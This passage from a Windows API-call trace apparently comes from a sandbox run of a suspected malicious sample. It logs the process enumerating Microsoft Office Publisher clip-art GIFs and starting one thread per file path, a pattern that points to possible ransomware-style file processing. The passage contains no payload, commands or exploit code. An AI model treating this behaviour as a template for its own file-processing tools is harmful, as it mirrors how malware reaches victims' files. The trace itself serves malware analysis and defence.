Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" [0097.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0097.744] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0097.744] wcscmp (_String1="WB00531L.GIF", _String2=".") returned 1 [0097.744] wcscmp (_String1="WB00531L.GIF", _String2="..") returned 1 [0097.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8627d0 [0097.744] wcscpy (in: _Dest=0x1b8627d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.744] wcscat (in: _Dest=0x1b8627d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.744] wcscat (in: _Dest=0x1b8627d0, _Source="WB00531L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" [0097.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8627d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0097.746] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0097.746] wcscmp (_String1="WB00673L.GIF", _String2=".") returned 1 [0097.746] wcscmp (_String1="WB00673L.GIF", _String2="..") returned 1 [0097.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862880 [0097.746] wcscpy (in: _Dest=0x1b862880, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.747] wcscat (in: _Dest=0x1b862880, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.747] wcscat (in: _Dest=0x1b862880, _Source="WB00673L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" [0097.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0097.747] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0097.748] wcscmp (_String1="WB00703L.GIF", _String2=".") returned 1 [0097.748] wcscmp (_String1="WB00703L.GIF", _String2="..") returned 1 [0097.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862930 [0097.748] wcscpy (in: _Dest=0x1b862930, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.748] wcscat (in: _Dest=0x1b862930, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.748] wcscat (in: _Dest=0x1b862930, _Source="WB00703L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" [0097.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0097.749] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0097.749] wcscmp (_String1="WB00760L.GIF", _String2=".") returned 1 [0097.749] wcscmp (_String1="WB00760L.GIF", _String2="..") returned 1 [0097.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8629e0 [0097.749] wcscpy (in: _Dest=0x1b8629e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.750] wcscat (in: _Dest=0x1b8629e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.750] wcscat (in: _Dest=0x1b8629e0, _Source="WB00760L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" [0097.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8629e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0097.751] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0097.751] wcscmp (_String1="WB00780L.GIF", _String2=".") returned 1 [0097.751] wcscmp (_String1="WB00780L.GIF", _String2="..") returned 1 [0097.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862a90 [0097.751] wcscpy (in: _Dest=0x1b862a90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.751] wcscat (in: _Dest=0x1b862a90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.751] wcscat (in: _Dest=0x1b862a90, _Source="WB00780L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" [0097.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0097.752] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0097.752] wcscmp (_String1="WB01741L.GIF", _String2=".") returned 1 [0097.752] wcscmp (_String1="WB01741L.GIF", _String2="..") returned 1 [0097.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862b40 [0097.752] wcscpy (in: _Dest=0x1b862b40, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.752] wcscat (in: _Dest=0x1b862b40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.753] wcscat (in: _Dest=0x1b862b40, _Source="WB01741L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" [0097.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0097.754] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0097.754] wcscmp (_String1="WB02039_.GIF", _String2=".") returned 1 [0097.754] wcscmp (_String1="WB02039_.GIF", _String2="..") returned 1 [0097.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862bf0 [0097.754] wcscpy (in: _Dest=0x1b862bf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.754] wcscat (in: _Dest=0x1b862bf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.754] wcscat (in: _Dest=0x1b862bf0, _Source="WB02039_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" [0097.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0097.755] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0097.755] wcscmp (_String1="WB02055_.GIF", _String2=".") returned 1 [0097.755] wcscmp (_String1="WB02055_.GIF", _String2="..") returned 1 [0097.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862ca0 [0097.755] wcscpy (in: _Dest=0x1b862ca0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.755] wcscat (in: _Dest=0x1b862ca0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.755] wcscat (in: _Dest=0x1b862ca0, _Source="WB02055_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" [0097.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0097.756] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0097.756] wcscmp (_String1="WB02073_.GIF", _String2=".") returned 1 [0097.756] wcscmp (_String1="WB02073_.GIF", _String2="..") returned 1 [0097.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862d50 [0097.757] wcscpy (in: _Dest=0x1b862d50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.757] wcscat (in: _Dest=0x1b862d50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.757] wcscat (in: _Dest=0x1b862d50, _Source="WB02073_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" [0097.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0097.758] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0097.758] wcscmp (_String1="WB02074_.GIF", _String2=".") returned 1 [0097.758] wcscmp (_String1="WB02074_.GIF", _String2="..") returned 1 [0097.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862e00 [0097.758] wcscpy (in: _Dest=0x1b862e00, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.758] wcscat (in: _Dest=0x1b862e00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.758] wcscat (in: _Dest=0x1b862e00, _Source="WB02074_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" [0097.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544 [0097.759] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0097.759] wcscmp (_String1="WB02077_.GIF", _String2=".") returned 1 [0097.759] wcscmp (_String1="WB02077_.GIF", _String2="..") returned 1 [0097.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862eb0 [0097.759] wcscpy (in: _Dest=0x1b862eb0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.759] wcscat (in: _Dest=0x1b862eb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.759] wcscat (in: _Dest=0x1b862eb0, _Source="WB02077_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" [0097.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c [0097.760] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0097.760] wcscmp (_String1="WB02082_.GIF", _String2=".") returned 1 [0097.760] wcscmp (_String1="WB02082_.GIF", _String2="..") returned 1 [0097.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862f60 [0097.760] wcscpy (in: _Dest=0x1b862f60, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.760] wcscat (in: _Dest=0x1b862f60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.760] wcscat (in: _Dest=0x1b862f60, _Source="WB02082_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" [0097.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0097.761] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0097.761] wcscmp (_String1="WB02085_.GIF", _String2=".") returned 1 [0097.761] wcscmp (_String1="WB02085_.GIF", _String2="..") returned 1 [0097.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b863010 [0097.761] wcscpy (in: _Dest=0x1b863010, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.761] wcscat (in: _Dest=0x1b863010, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.761] wcscat (in: _Dest=0x1b863010, _Source="WB02085_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" [0097.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0097.762] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0097.762] wcscmp (_String1="WB02097_.GIF", _String2=".") returned 1 [0097.762] wcscmp (_String1="WB02097_.GIF", _String2="..") returned 1 [0097.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8630c0 [0097.762] wcscpy (in: _Dest=0x1b8630c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.762] wcscat (in: _Dest=0x1b8630c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.762] wcscat (in: _Dest=0x1b8630c0, _Source="WB02097_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" [0097.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8630c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0097.763] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0097.763] wcscmp (_String1="WB02106_.GIF", _String2=".") returned 1 [0097.763] wcscmp (_String1="WB02106_.GIF", _String2="..") returned 1 [0097.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b863170 [0097.763] wcscpy (in: _Dest=0x1b863170, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.763] wcscat (in: _Dest=0x1b863170, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft 